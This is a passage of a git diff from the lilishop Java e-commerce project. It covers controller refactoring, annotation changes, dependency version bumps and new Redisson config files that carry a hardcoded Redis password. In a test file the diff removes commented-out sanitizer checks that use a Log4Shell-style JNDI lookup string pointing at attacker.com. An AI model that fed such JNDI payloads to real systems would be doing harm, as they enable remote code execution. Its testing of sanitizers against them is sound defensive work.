cn.lili.modules.promotion.service.SeckillApplyService; import cn.lili.modules.promotion.service.SeckillService; diff --git a/manager-api/src/main/java/cn/lili/controller/setting/LogManagerController.java b/manager-api/src/main/java/cn/lili/controller/setting/LogManagerController.java index 6b61d0b9..d540bb3f 100644 --- a/manager-api/src/main/java/cn/lili/controller/setting/LogManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/setting/LogManagerController.java @@ -9,7 +9,6 @@ import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.transaction.annotation.Transactional; import org.springframework.web.bind.annotation.*; import java.util.List; @@ -23,7 +22,6 @@ import java.util.List; */ @Slf4j @RestController -@Transactional(rollbackFor = Exception.class) @Api(tags = "日志管理接口") @RequestMapping("/manager/log") public class LogManagerController { @@ -33,12 +31,12 @@ public class LogManagerController { @GetMapping(value = "/getAllByPage") @ApiOperation(value = "分页获取全部") public ResultMessage getAllByPage(@RequestParam(required = false) Integer type, - @RequestParam String key, + @RequestParam String searchKey, String operatorName, SearchVO searchVo, PageVO pageVo) { try { - return ResultUtil.data(systemLogService.queryLog(null, operatorName, key, searchVo, pageVo)); + return ResultUtil.data(systemLogService.queryLog(null, operatorName, searchKey, searchVo, pageVo)); } catch (Exception e) { log.error("日志获取错误",e); } diff --git a/manager-api/src/main/java/cn/lili/controller/setting/RegionManagerController.java b/manager-api/src/main/java/cn/lili/controller/setting/RegionManagerController.java index cb0bc1ef..44ec6aac 100644 --- a/manager-api/src/main/java/cn/lili/controller/setting/RegionManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/setting/RegionManagerController.java @@ -25,7 +25,6 @@ import java.util.List; @RestController @Api(tags = "管理端,行政地区管理接口") @RequestMapping("/manager/region") -@Transactional(rollbackFor = Exception.class) public class RegionManagerController { @Autowired private RegionService regionService; diff --git a/manager-api/src/main/java/cn/lili/controller/sms/SmsTemplateManagerController.java b/manager-api/src/main/java/cn/lili/controller/sms/SmsTemplateManagerController.java index f9beef26..9b9aa0e5 100644 --- a/manager-api/src/main/java/cn/lili/controller/sms/SmsTemplateManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/sms/SmsTemplateManagerController.java @@ -1,5 +1,6 @@ package cn.lili.controller.sms; +import cn.lili.common.aop.annotation.DemoSite; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; @@ -29,21 +30,24 @@ public class SmsTemplateManagerController { @ApiOperation(value = "新增短信模板") @PostMapping + @DemoSite public ResultMessage save(@Valid SmsTemplate smsTemplate) { smsTemplateService.addSmsTemplate(smsTemplate); return ResultUtil.success(); } @ApiOperation(value = "删除短信模板") - @ApiImplicitParam(name = "id", value = "短信模板ID", required = true, paramType = "path") - @DeleteMapping("/{id}") - public ResultMessage delete(@PathVariable("id") String id) { - smsTemplateService.deleteSmsTemplate(id); + @ApiImplicitParam(name = "templateCode", value = "短信模板CODE", required = true, paramType = "query") + @DeleteMapping + @DemoSite + public ResultMessage delete(String templateCode) { + smsTemplateService.deleteSmsTemplate(templateCode); return ResultUtil.success(); } @ApiOperation(value = "查询短信模板状态") @PutMapping("/querySmsSign") + @DemoSite public ResultMessage querySmsSign() { smsTemplateService.querySmsTemplate(); return ResultUtil.success(); @@ -51,6 +55,7 @@ public class SmsTemplateManagerController { @ApiOperation(value = "修改短信模板") @PutMapping("/modifySmsTemplate") + @DemoSite public ResultMessage modifySmsTemplate(@Valid SmsTemplate smsTemplate) { smsTemplateService.modifySmsTemplate(smsTemplate); return ResultUtil.success(); diff --git a/manager-api/src/main/java/cn/lili/controller/statistics/IndexStatisticsManagerController.java b/manager-api/src/main/java/cn/lili/controller/statistics/IndexStatisticsManagerController.java index 7ee8eef8..9647b8d1 100644 --- a/manager-api/src/main/java/cn/lili/controller/statistics/IndexStatisticsManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/statistics/IndexStatisticsManagerController.java @@ -1,5 +1,6 @@ package cn.lili.controller.statistics; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.statistics.entity.dto.GoodsStatisticsQueryParam; @@ -40,6 +41,7 @@ public class IndexStatisticsManagerController { @ApiOperation(value = "获取首页查询数据") @GetMapping + @PreventDuplicateSubmissions public ResultMessage index() { try { return ResultUtil.data(indexStatisticsService.indexStatistics()); diff --git a/manager-api/src/main/java/cn/lili/controller/store/StoreMessageManagerController.java b/manager-api/src/main/java/cn/lili/controller/store/StoreMessageManagerController.java index 5bb23e45..4f33f64a 100644 --- a/manager-api/src/main/java/cn/lili/controller/store/StoreMessageManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/store/StoreMessageManagerController.java @@ -23,7 +23,6 @@ import org.springframework.web.bind.annotation.RestController; * @since 2020/12/6 16:09 */ @RestController -@Transactional(rollbackFor = Exception.class) @Api(tags = "管理端,店铺消息消息管理接口") @RequestMapping("/manager/message/store") public class StoreMessageManagerController { diff --git a/manager-api/src/main/java/cn/lili/controller/wallet/MemberWithdrawApplyManagerController.java b/manager-api/src/main/java/cn/lili/controller/wallet/MemberWithdrawApplyManagerController.java index b4d5ab42..c5c5acc1 100644 --- a/manager-api/src/main/java/cn/lili/controller/wallet/MemberWithdrawApplyManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/wallet/MemberWithdrawApplyManagerController.java @@ -1,6 +1,7 @@ package cn.lili.controller.wallet; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; @@ -29,7 +30,6 @@ import org.springframework.web.bind.annotation.RestController; @RestController @Api(tags = "管理端,余额提现记录接口") @RequestMapping("/manager/members/withdraw-apply") -@Transactional(rollbackFor = Exception.class) public class MemberWithdrawApplyManagerController { @Autowired private MemberWithdrawApplyService memberWithdrawApplyService; @@ -44,6 +44,7 @@ public class MemberWithdrawApplyManagerController { } + @PreventDuplicateSubmissions @ApiOperation(value = "提现申请审核") @PostMapping @ApiImplicitParams({ diff --git a/manager-api/src/main/java/cn/lili/controller/wallet/RechargeManagerController.java b/manager-api/src/main/java/cn/lili/controller/wallet/RechargeManagerController.java index 30a19937..2b30a28d 100644 --- a/manager-api/src/main/java/cn/lili/controller/wallet/RechargeManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/wallet/RechargeManagerController.java @@ -25,7 +25,6 @@ import org.springframework.web.bind.annotation.RestController; @RestController @Api(tags = "管理端,预存款充值记录接口") @RequestMapping("/manager/recharge") -@Transactional(rollbackFor = Exception.class) public class RechargeManagerController { @Autowired private RechargeService rechargeService; diff --git a/manager-api/src/main/java/cn/lili/controller/wallet/WalletLogManagerController.java b/manager-api/src/main/java/cn/lili/controller/wallet/WalletLogManagerController.java index 91a58b6b..2b95172c 100644 --- a/manager-api/src/main/java/cn/lili/controller/wallet/WalletLogManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/wallet/WalletLogManagerController.java @@ -24,7 +24,6 @@ import org.springframework.web.bind.annotation.RestController; @RestController @Api(tags = "管理端,预存款充值记录接口") @RequestMapping("/manager/wallet/log") -@Transactional(rollbackFor = Exception.class) public class WalletLogManagerController { @Autowired private WalletLogService walletLogService; diff --git a/manager-api/src/main/java/cn/lili/controller/wechat/WechatMPMessageManagerController.java b/manager-api/src/main/java/cn/lili/controller/wechat/WechatMPMessageManagerController.java index 83dbe02f..7e96cdf5 100644 --- a/manager-api/src/main/java/cn/lili/controller/wechat/WechatMPMessageManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/wechat/WechatMPMessageManagerController.java @@ -23,7 +23,6 @@ import java.util.List; @RestController @Api(tags = "微信小程序消息订阅接口") @RequestMapping("/manager/message/wechatMPMessage") -@Transactional(rollbackFor = Exception.class) public class WechatMPMessageManagerController { @Autowired private WechatMPMessageService wechatMPMessageService; diff --git a/manager-api/src/main/resources/application.yml b/manager-api/src/main/resources/application.yml index 1ecab32a..e0d1fafa 100644 --- a/manager-api/src/main/resources/application.yml +++ b/manager-api/src/main/resources/application.yml @@ -108,7 +108,7 @@ spring: props: #是否打印逻辑SQL语句和实际SQL语句,建议调试时打印,在生产环境关闭 sql: - show: true + show: false # 忽略鉴权url ignored: diff --git a/manager-api/src/main/resources/redisson.yaml b/manager-api/src/main/resources/redisson.yaml new file mode 100644 index 00000000..ac8dfc66 --- /dev/null +++ b/manager-api/src/main/resources/redisson.yaml @@ -0,0 +1,21 @@ +--- +singleServerConfig: + idleConnectionTimeout: 10000 + connectTimeout: 10000 + timeout: 3000 + retryAttempts: 3 + retryInterval: 1500 + password: lilishop + subscriptionsPerConnection: 5 + clientName: null + address: "redis://127.0.0.1:6379" + subscriptionConnectionMinimumIdleSize: 1 + subscriptionConnectionPoolSize: 50 + connectionMinimumIdleSize: 24 + connectionPoolSize: 64 + database: 0 + dnsMonitoringInterval: 5000 +threads: 16 +nettyThreads: 32 +codec: ! {} +transportMode: "NIO" \ No newline at end of file diff --git a/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java b/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java index 673ec2d8..3ecf49f3 100644 --- a/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java +++ b/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java @@ -7,8 +7,6 @@ import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.entity.enums.GoodsAuthEnum; import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; import cn.lili.modules.goods.service.GoodsSkuService; -import cn.lili.modules.promotion.entity.dos.FullDiscount; -import cn.lili.modules.promotion.entity.dto.BasePromotions; import cn.lili.modules.promotion.service.PromotionService; import cn.lili.modules.search.entity.dos.EsGoodsAttribute; import cn.lili.modules.search.entity.dos.EsGoodsIndex; @@ -27,9 +25,7 @@ import org.springframework.data.elasticsearch.core.SearchPage; import org.springframework.test.context.junit.jupiter.SpringExtension; import java.util.ArrayList; -import java.util.Date; import java.util.List; -import java.util.Map; /** * @author paulG @@ -68,15 +64,6 @@ class EsTest { // Date dt1 = new Date(2021, 12, 10); // Date dt2 = new Date(2021, 12, 14); // -// System.out.println(new Date().before(dt2)); -// String filter = HtmlUtil.filter("${jndi:ldap://attacker.com/a}"); -// String sanitize = Sanitizers.FORMATTING.and(Sanitizers.LINKS).sanitize("${jndi:ldap://attacker.com/a}"); -// System.out.println(filter); -// System.out.println(sanitize); - FullDiscount fullDiscount = new FullDiscount(); - fullDiscount.setStartTime(new Date()); - BasePromotions promotions = fullDiscount; - System.out.println(promotions); } @@ -142,8 +129,6 @@ class EsTest { List esGoodsIndices = new ArrayList<>(); for (GoodsSku goodsSku : list) { EsGoodsIndex index = new EsGoodsIndex(goodsSku); - Map goodsCurrentPromotionMap = promotionService.getGoodsPromotionMap(index); - index.setPromotionMap(goodsCurrentPromotionMap); esGoodsIndices.add(index); cache.put(GoodsSkuService.getStockCacheKey(goodsSku.getId()), goodsSku.getQuantity()); } @@ -186,7 +171,6 @@ class EsTest { @Test void updateIndex() { EsGoodsIndex byId = esGoodsIndexService.findById("121"); - byId.setPromotionMap(null); esGoodsIndexService.updateIndex(byId); Assertions.assertTrue(true); } diff --git a/manager-api/src/test/java/cn/lili/test/promotion/CouponTest.java b/manager-api/src/test/java/cn/lili/test/promotion/CouponTest.java index ee788869..0104a869 100644 --- a/manager-api/src/test/java/cn/lili/test/promotion/CouponTest.java +++ b/manager-api/src/test/java/cn/lili/test/promotion/CouponTest.java @@ -5,10 +5,10 @@ import cn.lili.common.vo.PageVO; import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; import cn.lili.modules.promotion.entity.dos.Coupon; import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.dto.search.CouponSearchParams; import cn.lili.modules.promotion.entity.enums.CouponGetEnum; import cn.lili.modules.promotion.entity.enums.CouponTypeEnum; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; -import cn.lili.modules.promotion.entity.vos.CouponSearchParams; import cn.lili.modules.promotion.entity.vos.CouponVO; import cn.lili.modules.promotion.service.CouponService; import com.baomidou.mybatisplus.core.metadata.IPage; diff --git a/manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java b/manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java index f90f1970..aad4e24c 100644 --- a/manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java +++ b/manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java @@ -8,7 +8,7 @@ import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.order.cart.entity.vo.FullDiscountVO; import cn.lili.modules.promotion.entity.dos.FullDiscount; import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.vos.FullDiscountSearchParams; +import cn.lili.modules.promotion.entity.dto.search.FullDiscountSearchParams; import cn.lili.modules.promotion.service.FullDiscountService; import com.baomidou.mybatisplus.core.metadata.IPage; import org.junit.jupiter.api.Assertions; diff --git a/manager-api/src/test/java/cn/lili/test/promotion/PromotionPriceTest.java b/manager-api/src/test/java/cn/lili/test/promotion/PromotionPriceTest.java index 513a1f4a..cfdafeb2 100644 --- a/manager-api/src/test/java/cn/lili/test/promotion/PromotionPriceTest.java +++ b/manager-api/src/test/java/cn/lili/test/promotion/PromotionPriceTest.java @@ -1,6 +1,6 @@ package cn.lili.test.promotion; -import cn.lili.modules.promotion.entity.dto.BasePromotions; +import cn.lili.modules.promotion.entity.dos.BasePromotions; import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.promotion.service.PromotionService; import org.junit.jupiter.api.Assertions; diff --git a/manager-api/src/test/java/cn/lili/test/promotion/SeckillTest.java b/manager-api/src/test/java/cn/lili/test/promotion/SeckillTest.java index 27788a5b..b5de0d58 100644 --- a/manager-api/src/test/java/cn/lili/test/promotion/SeckillTest.java +++ b/manager-api/src/test/java/cn/lili/test/promotion/SeckillTest.java @@ -1,10 +1,16 @@ package cn.lili.test.promotion; import cn.lili.modules.member.service.MemberService; +import cn.lili.modules.promotion.entity.dos.Seckill; import cn.lili.modules.promotion.entity.enums.PromotionsApplyStatusEnum; import cn.lili.modules.promotion.entity.vos.SeckillApplyVO; import cn.lili.modules.promotion.service.SeckillApplyService; import cn.lili.modules.promotion.service.SeckillService; +import cn.lili.modules.system.entity.dos.Setting; +import cn.lili.modules.system.entity.dto.SeckillSetting; +import cn.lili.modules.system.entity.enums.SettingEnum; +import cn.lili.modules.system.service.SettingService; +import com.google.gson.Gson; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.extension.ExtendWith; @@ -32,24 +38,24 @@ class SeckillTest { @Autowired private MemberService memberService; + /** + * 系统设置 + */ + @Autowired + private SettingService settingService; + @Test void add() { -// SeckillVO seckillVO = new SeckillVO(); -// seckillVO.setId("10000"); -// seckillVO.setStoreIds("132"); -// seckillVO.setSeckillApplyStatus(SeckillApplyStatusEnum.NOT_APPLY.name()); -// seckillVO.setPromotionStatus(PromotionStatusEnum.NEW.name()); -// seckillVO.setApplyEndTime(DateUtil.parse("2021-09-06 14:20:00")); -// seckillVO.setStartTime(DateUtil.parse("2021-09-06 14:22:00")); -// seckillVO.setEndTime(DateUtil.parse("2021-09-06 23:59:00")); -// seckillVO.setHours("15,17,19"); -// seckillVO.setPromotionName("Seckill" + seckillVO.getId()); -// seckillVO.setSeckillRule("rule" + seckillVO.getId()); -// seckillVO.setStoreId("1376433565247471616"); -// seckillVO.setStoreName("platform"); -// -// Assertions.assertTrue(seckillService.saveSeckill(seckillVO)); -// memberService.getUserInfo() + Setting setting = settingService.get(SettingEnum.SECKILL_SETTING.name()); + System.out.println(setting); + SeckillSetting seckillSetting = new Gson().fromJson(setting.getSettingValue(), SeckillSetting.class); + System.out.println(seckillSetting); + boolean result = true; + for (int i = 1; i <= SeckillService.PRE_CREATION; i++) { + Seckill seckill = new Seckill(i, seckillSetting.getHours(), seckillSetting.getSeckillRule()); + seckillService.savePromotions(seckill); + } + Assertions.assertTrue(result); } @Test diff --git a/pom.xml b/pom.xml index ba666989..4b74886c 100644 --- a/pom.xml +++ b/pom.xml @@ -19,42 +19,42 @@ 1.8 4.2.3 - registry.cn-beijing.aliyuncs.com/lili-images - 1 - 4.13.40.ALL - 5.1.48 - 3.4.3.4 - 5.7.16 - 2.0.3.RELEASE - 3.0.0 - 2.9.10 - 1.18.22 - 4.5.18 - 3.11.1 - 2.0.1 - 2.1.1 - 0.10.7 - 4.7.2 - 4.0.0 - 1.1.20 - 1.0.3 - 4.7.2 - 4.4.1 - 4.5.12 UTF-8 UTF-8 true + registry.cn-beijing.aliyuncs.com/lili-images + 1 + 4.22.32.ALL + 3.5.1 + 5.7.20 + 2.0.3.RELEASE + 3.0.4 + 2.9.10 + 1.18.22 + 3.15.6 + 4.5.18 + 3.11.1 + 2.0.8 + 4.6.0 + 3.14.0 + 2.0.9 + 2.2.1 + 0.11.2 + 4.0.0 + 1.2.8 + 1.0.3 + 4.7.2 + 4.7.2 2.0.9 - 2.3.1 + 2.6.2 1.21 - 1.2 - 4.1.2 - 4.1.2 - 6.6 + 5.1.0 + 5.1.0 + 7.0.1 3.4.1 - 1.7.28 - 2.2.0 - 1.4 + 1.7.35 + 3.2.3 + 1.9 4.3 2.3.0 1.2.2 diff --git a/seller-api/src/main/java/cn/lili/controller/goods/CategoryParameterGroupStoreController.java b/seller-api/src/main/java/cn/lili/controller/goods/CategoryParameterGroupStoreController.java index eaad855f..b581f891 100644 --- a/seller-api/src/main/java/cn/lili/controller/goods/CategoryParameterGroupStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/goods/CategoryParameterGroupStoreController.java @@ -23,7 +23,6 @@ import java.util.List; @RestController @Api(tags = "店铺端,分类绑定参数组管理接口") @RequestMapping("/store/goods/category/parameters") -@Transactional(rollbackFor = Exception.class) public class CategoryParameterGroupStoreController { diff --git a/seller-api/src/main/java/cn/lili/controller/goods/CategorySpecificationStoreController.java b/seller-api/src/main/java/cn/lili/controller/goods/CategorySpecificationStoreController.java index 656efb43..a18c8d73 100644 --- a/seller-api/src/main/java/cn/lili/controller/goods/CategorySpecificationStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/goods/CategorySpecificationStoreController.java @@ -23,7 +23,6 @@ import java.util.List; @RestController @Api(tags = "店铺端,商品分类规格接口") @RequestMapping("/store/goods/category/spec") -@Transactional(rollbackFor = Exception.class) public class CategorySpecificationStoreController { @Autowired private CategorySpecificationService categorySpecificationService; diff --git a/seller-api/src/main/java/cn/lili/controller/goods/CategoryStoreController.java b/seller-api/src/main/java/cn/lili/controller/goods/CategoryStoreController.java index 946c05af..82732c62 100644 --- a/seller-api/src/main/java/cn/lili/controller/goods/CategoryStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/goods/CategoryStoreController.java @@ -33,7 +33,6 @@ import java.util.Objects; @Api(tags = "店铺端,商品分类接口") @RequestMapping("/store/goods/category") @CacheConfig(cacheNames = "category") -@Transactional(rollbackFor = Exception.class) public class CategoryStoreController { /** diff --git a/seller-api/src/main/java/cn/lili/controller/goods/GoodsUnitStoreController.java b/seller-api/src/main/java/cn/lili/controller/goods/GoodsUnitStoreController.java index 4a1ff764..52d8b510 100644 --- a/seller-api/src/main/java/cn/lili/controller/goods/GoodsUnitStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/goods/GoodsUnitStoreController.java @@ -25,7 +25,6 @@ import org.springframework.web.bind.annotation.RestController; @RestController @Api(tags = "店铺端,商品计量单位接口") @RequestMapping("/store/goods/unit") -@Transactional(rollbackFor = Exception.class) public class GoodsUnitStoreController { @Autowired private GoodsUnitService goodsUnitService; diff --git a/seller-api/src/main/java/cn/lili/controller/order/AfterSaleStoreController.java b/seller-api/src/main/java/cn/lili/controller/order/AfterSaleStoreController.java index c50ad0df..e643fcdd 100644 --- a/seller-api/src/main/java/cn/lili/controller/order/AfterSaleStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/order/AfterSaleStoreController.java @@ -1,5 +1,6 @@ package cn.lili.controller.order; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.OperationalJudgment; import cn.lili.common.security.context.UserContext; @@ -60,6 +61,7 @@ public class AfterSaleStoreController { return ResultUtil.data(afterSaleService.exportAfterSaleOrder(searchParams)); } + @PreventDuplicateSubmissions @ApiOperation(value = "审核售后申请") @ApiImplicitParams({ @ApiImplicitParam(name = "afterSaleSn", value = "售后sn", required = true, paramType = "path"), @@ -76,6 +78,7 @@ public class AfterSaleStoreController { return ResultUtil.data(afterSaleService.review(afterSaleSn, serviceStatus, remark,actualRefundPrice)); } + @PreventDuplicateSubmissions @ApiOperation(value = "卖家确认收货") @ApiImplicitParams({ @ApiImplicitParam(name = "afterSaleSn", value = "售后sn", required = true, paramType = "path"), diff --git a/seller-api/src/main/java/cn/lili/controller/order/OrderComplaintStoreController.java b/seller-api/src/main/java/cn/lili/controller/order/OrderComplaintStoreController.java index e2879831..afe5321d 100644 --- a/seller-api/src/main/java/cn/lili/controller/order/OrderComplaintStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/order/OrderComplaintStoreController.java @@ -1,5 +1,6 @@ package cn.lili.controller.order; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.AuthUser; import cn.lili.common.security.OperationalJudgment; @@ -81,6 +82,7 @@ public class OrderComplaintStoreController { return ResultUtil.data(orderComplainVO); } + @PreventDuplicateSubmissions @ApiOperation(value = "申诉") @PutMapping("/appeal") public ResultMessage appeal(StoreAppealVO storeAppealVO) { @@ -88,6 +90,7 @@ public class OrderComplaintStoreController { return ResultUtil.data(orderComplaintService.getOrderComplainById(storeAppealVO.getOrderComplaintId())); } + @PreventDuplicateSubmissions @ApiOperation(value = "修改状态") @PutMapping(value = "/status") public ResultMessage updateStatus(OrderComplaintOperationParams orderComplainVO) { diff --git a/seller-api/src/main/java/cn/lili/controller/order/OrderStoreController.java b/seller-api/src/main/java/cn/lili/controller/order/OrderStoreController.java index f0cb92e5..65330ba4 100644 --- a/seller-api/src/main/java/cn/lili/controller/order/OrderStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/order/OrderStoreController.java @@ -1,5 +1,6 @@ package cn.lili.controller.order; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.context.ThreadContextHolder; import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.ResultUtil; @@ -86,6 +87,7 @@ public class OrderStoreController { return ResultUtil.data(orderService.updateConsignee(orderSn, memberAddressDTO)); } + @PreventDuplicateSubmissions @ApiOperation(value = "修改订单价格") @ApiImplicitParams({ @ApiImplicitParam(name = "orderSn", value = "订单sn", required = true, dataType = "String", paramType = "path"), @@ -97,6 +99,7 @@ public class OrderStoreController { return ResultUtil.data(orderPriceService.updatePrice(orderSn, orderPrice)); } + @PreventDuplicateSubmissions @ApiOperation(value = "订单发货") @ApiImplicitParams({ @ApiImplicitParam(name = "orderSn", value = "订单sn", required = true, dataType = "String", paramType = "path"), @@ -110,6 +113,7 @@ public class OrderStoreController { return ResultUtil.data(orderService.delivery(orderSn, logisticsNo, logisticsId)); } + @PreventDuplicateSubmissions @ApiOperation(value = "取消订单") @ApiImplicitParams({ @ApiImplicitParam(name = "orderSn", value = "订单编号", required = true, dataType = "String", paramType = "path"), @@ -127,6 +131,7 @@ public class OrderStoreController { return ResultUtil.data(orderService.getOrderByVerificationCode(verificationCode)); } + @PreventDuplicateSubmissions @ApiOperation(value = "订单核验") @ApiImplicitParams({ @ApiImplicitParam(name = "orderSn", value = "订单号", required = true, paramType = "path"), diff --git a/seller-api/src/main/java/cn/lili/controller/promotion/CouponStoreController.java b/seller-api/src/main/java/cn/lili/controller/promotion/CouponStoreController.java index 7f041a11..90844293 100644 --- a/seller-api/src/main/java/cn/lili/controller/promotion/CouponStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/promotion/CouponStoreController.java @@ -9,7 +9,7 @@ import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.promotion.entity.dos.Coupon; -import cn.lili.modules.promotion.entity.vos.CouponSearchParams; +import cn.lili.modules.promotion.entity.dto.search.CouponSearchParams; import cn.lili.modules.promotion.entity.vos.CouponVO; import cn.lili.modules.promotion.service.CouponService; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; diff --git a/seller-api/src/main/java/cn/lili/controller/promotion/FullDiscountStoreController.java b/seller-api/src/main/java/cn/lili/controller/promotion/FullDiscountStoreController.java index 47932340..4a95f6b0 100644 --- a/seller-api/src/main/java/cn/lili/controller/promotion/FullDiscountStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/promotion/FullDiscountStoreController.java @@ -9,7 +9,7 @@ import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.order.cart.entity.vo.FullDiscountVO; import cn.lili.modules.promotion.entity.dos.FullDiscount; -import cn.lili.modules.promotion.entity.vos.FullDiscountSearchParams; +import cn.lili.modules.promotion.entity.dto.search.FullDiscountSearchParams; import cn.lili.modules.promotion.service.FullDiscountService; import com.baomidou.mybatisplus.core.metadata.IPage; import io.swagger.annotations.Api; diff --git a/seller-api/src/main/java/cn/lili/controller/promotion/PintuanStoreController.java b/seller-api/src/main/java/cn/lili/controller/promotion/PintuanStoreController.java index 22e271fa..80b369bd 100644 --- a/seller-api/src/main/java/cn/lili/controller/promotion/PintuanStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/promotion/PintuanStoreController.java @@ -12,9 +12,9 @@ import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.promotion.entity.dos.Pintuan; import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.vos.PintuanSearchParams; +import cn.lili.modules.promotion.entity.dto.search.PintuanSearchParams; +import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams; import cn.lili.modules.promotion.entity.vos.PintuanVO; -import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; import cn.lili.modules.promotion.service.PintuanService; import cn.lili.modules.promotion.service.PromotionGoodsService; import com.baomidou.mybatisplus.core.metadata.IPage; diff --git a/seller-api/src/main/java/cn/lili/controller/promotion/SeckillStoreController.java b/seller-api/src/main/java/cn/lili/controller/promotion/SeckillStoreController.java index 90f92c7f..550c6a23 100644 --- a/seller-api/src/main/java/cn/lili/controller/promotion/SeckillStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/promotion/SeckillStoreController.java @@ -7,8 +7,8 @@ import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.promotion.entity.dos.Seckill; import cn.lili.modules.promotion.entity.dos.SeckillApply; +import cn.lili.modules.promotion.entity.dto.search.SeckillSearchParams; import cn.lili.modules.promotion.entity.vos.SeckillApplyVO; -import cn.lili.modules.promotion.entity.vos.SeckillSearchParams; import cn.lili.modules.promotion.service.SeckillApplyService; import cn.lili.modules.promotion.service.SeckillService; import com.baomidou.mybatisplus.core.metadata.IPage; diff --git a/seller-api/src/main/java/cn/lili/controller/settings/LogStoreController.java b/seller-api/src/main/java/cn/lili/controller/settings/LogStoreController.java index e319db0a..5ecead02 100644 --- a/seller-api/src/main/java/cn/lili/controller/settings/LogStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/settings/LogStoreController.java @@ -9,7 +9,6 @@ import cn.lili.modules.permission.service.SystemLogService; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.transaction.annotation.Transactional; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; @@ -25,7 +24,6 @@ import java.util.Objects; * @since 2020/11/22 14:23 */ @RestController -@Transactional(rollbackFor = Exception.class) @Api(tags = "店铺端,日志管理接口") @RequestMapping("/store/log") public class LogStoreController { diff --git a/seller-api/src/main/resources/application.yml b/seller-api/src/main/resources/application.yml index 30690a2a..a2cc6037 100644 --- a/seller-api/src/main/resources/application.yml +++ b/seller-api/src/main/resources/application.yml @@ -108,7 +108,7 @@ spring: props: #是否打印逻辑SQL语句和实际SQL语句,建议调试时打印,在生产环境关闭 sql: - show: true + show: false # 忽略鉴权url ignored: diff --git a/seller-api/src/main/resources/redisson.yaml b/seller-api/src/main/resources/redisson.yaml new file mode 100644 index 00000000..ac8dfc66 --- /dev/null +++ b/seller-api/src/main/resources/redisson.yaml @@ -0,0 +1,21 @@ +--- +singleServerConfig: + idleConnectionTimeout: 10000 + connectTimeout: 10000 + timeout: 3000 + retryAttempts: 3 + retryInterval: 1500 + password: lilishop + subscriptionsPerConnection: 5 + clientName: null + address: "redis://127.0.0.1:6379" + subscriptionConnectionMinimumIdleSize: 1 + subscriptionConnectionPoolSize: 50 + connectionMinimumIdleSize: 24 + connectionPoolSize: 64 + database: 0 + dnsMonitoringInterval: 5000 +threads: 16 +nettyThreads: 32 +codec: ! {} +transportMode: "NIO" \ No newline at end of file